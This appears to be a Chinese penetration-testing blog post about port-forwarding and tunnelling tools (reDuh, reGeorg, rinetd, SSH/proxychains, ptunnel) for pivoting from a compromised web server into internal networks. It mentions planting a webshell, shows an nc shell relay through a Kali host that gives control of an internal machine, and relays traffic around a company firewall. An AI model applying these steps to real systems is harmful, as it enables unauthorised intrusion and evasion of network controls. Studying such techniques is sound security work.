6、埠轉發流量操控工具總結

FLy_鵬程萬里發表於2018-06-10

運用情景:

在 Web 安全滲透測試經常會面臨的一個問題,同時也是 Web 伺服器加固方面一個很重要的部分,那就是 Web 伺服器對外只開放一個 80 埠。Web 伺服器的安全防護可以是作業系統的埠定製或者是網管防火前的埠定製。這時滲透測試人員如果想進一步測試內網的話必須先拿下目標伺服器並擁有一定的控制許可權。 以前滲透測試人員常用的一些方法是通過上傳一些針對作業系統的可執行檔案到目標伺服器,並且必須要通過程式的方式執行該程式。但由於種種限制,所以陸續出現了不同型別的埠轉發與流量操控工具。

工具初探:

2.1 reDuh:

工作原理:

我想大部分的測試人員都比我懂什麼叫埠轉發,說白了,reDuh 就是一款由指令碼(asp; php; jsp)實現的埠轉發器。其實這個轉發器通過了兩次中轉,我們下面以遠端桌面服務連線做個圖例說明:


由圖示上我們也可以看出,從 MSTSC 客戶端到目標的 Terminal 伺服器中間其實是走了一個這樣的流程:

 Mstsc 客戶端–>reDuh 代理–>HTTP tunne–>Web 伺服器–>Terminal 伺服器

當然,對於 MSTSC 客戶端而言,這些過程都是透明的,我們只需要在 MSTSC 中指定連線的埠為本地 reDuh 監聽的埠即可。

軟體使用:

1)執行 reDuhGUI 程式,出現如下介面。在 URL 輸入框中輸入 reDuh 的地址,點選 Start 按鈕:



2) 如果目標 URL 存在且工作正常,那麼介面上會變成如下的樣式,我們可以看到,Create 按鈕的狀態變為可用,這是,我們在 Create Tunnel 中輸入目標伺服器需要連線的地址和埠,以及本地監聽的埠號,點選 Create 按鈕。這裡需要注意的是 Remote Host 的地址不是目標伺服器的 IP 地址,而是目標伺服器可以訪問的任意地址,假設目標伺服器的地址為 10.10.10.10,那麼如果 Remote Host 為 127.0.0.1,其實就相當於連線伺服器上的地址;如果 Remote Host 為 10.10.10.11,那麼相當於讓伺服器去連線內網的另一臺伺服器:



3) 這時介面上會加入一條資料到列表框,說明本地監聽到埠 1234,對應於目標伺服器連線的 127.0.0.1:3389 端點:


建立 HTTP 隧道成功後,我們可以使用 MSTSC 來進行連線測試,在 Computer 中輸入對應的本地監聽地址,選擇連線:


4)這時我們可以從程式的日誌框中檢視到大量的資料傳輸:


5) 在 MSTSC 中能夠正常的連線遠端桌面:


6) 如果我們完成了操作需要斷開時,可以在右邊的列表框中選擇一項,然後點選 Close 按鈕完成某條鏈路的銷燬; 如果想完全斷開當前的連線,可以點選 Kill 按鈕:

2.2 reGeorg+Proxifier

執行環境:pythony 以及 urllib3

下載地址:https://github.com/sensepost/reGeorg.git

原理大同小異,我就不解釋了,直接上測試使用過程。

運用情景:

在內網測試的時候,mysql 為 root 許可權,讀到配置檔案,得到網站的根目錄,寫下馬,菜刀連之,發現是 system 許可權,而且 3389 埠開放這時候出現了問題,外網訪問 3389 埠的時候,發現連線不上,只對內網開放。這就很尷尬了,我在內網中,伺服器也在內網中,而且我沒有公網機器。這個時候就需要使用 reGeorg+Proxifier

reGeorg 使用方法:

先將 reGeorg 的對應指令碼上傳到伺服器端,reGeorg 提供了 PHP、ASPX、JSP 指令碼,直接訪問顯示「Georg says, ‘All seems fine’」,表示指令碼執行正常。



執行命令提示符下切換到 C:\Python27\,執行 python reGeorgSocksProxy.py -u (上傳 reGeorg 指令碼的地址) -p (轉發埠),引數順序無強制要求。


由於是基於 socks5, 本地還需安裝一個 socks5 代理工具此類工具網上很多,就以 Proxifier 為例子


然後將代理規則改成 proxy socket5 127.0.0.1


這時候訪問,成功進入連上 3389

2.3 rinetd 實現流量轉發

例項:


公司的的防火牆只允許 53 埠的出站流量(但是入站流量還是允許的),想通過 80 埠上網,被拒絕。

解決思路:通過在家裡放置一臺機器,使用公司的電腦去訪問家裡的 53 埠,家裡的電腦 20.1.1.1 通過流量轉發吧網站的流量返回給公司的網路。

安裝:

apt-get install rinetd


配置:

Vim  /etc/rinetd.conf

啟動:rinetd

確定程式是否啟動:


從 XP 系統訪問 kali(IP:1.1.1.16)的 53 埠,發現可以訪問 110 的網站


轉發 shell

在 192.168.1.110 機器上偵聽 333 埠


在 kali 上轉發 333 埠:


重啟服務:


在內網機器 1.1.1.12 輸入,命令:nc 192.168.1.16 53(連線 kali)


發現成功得到內網機器的控制權:


2.4 其他:

SSH 穿透

 ssh -D 127.0.0.1:1080 -p 22 user@IP

Add socks4 127.0.0.1 1080 in /etc/proxychains.conf

proxychains commands target

SSH 穿透從一個網路到另一個網路

 ssh -D 127.0.0.1:1080 -p 22 user1@IP1

Add socks4 127.0.0.1 1080 in /etc/proxychains.conf

proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2

Add socks4 127.0.0.1 1081 in /etc/proxychains.conf

proxychains commands target

ptunnle-Ping tunnel ICMP

通過 ICMP echo(ping requests)和 reply(ping reply) 實現隧道

伺服器:

ptunnel -x 1234(-x 設定密碼)

客戶端:

sudo ptunnel -p proxy -lp 2222 -da destination -dp 22 -x 1234(da 就是目標地址 dp 目標埠 -x 密碼)

巢狀 SSH 隧道:

ssh -CNfg -D 7000 root@127.0.0.1 -p 2222

參考連結:

http://bbs.51cto.com/thread-918911-1.html

https://bbs.ichunqiu.com/thread-12514-1-1.html

https://blog.csdn.net/qq_39721438/article/details/76691492

http://www.freebuf.com/sectool/105524.html

*本文作者:tdcoming,轉載請註明來自FreeBuf.COM

相關文章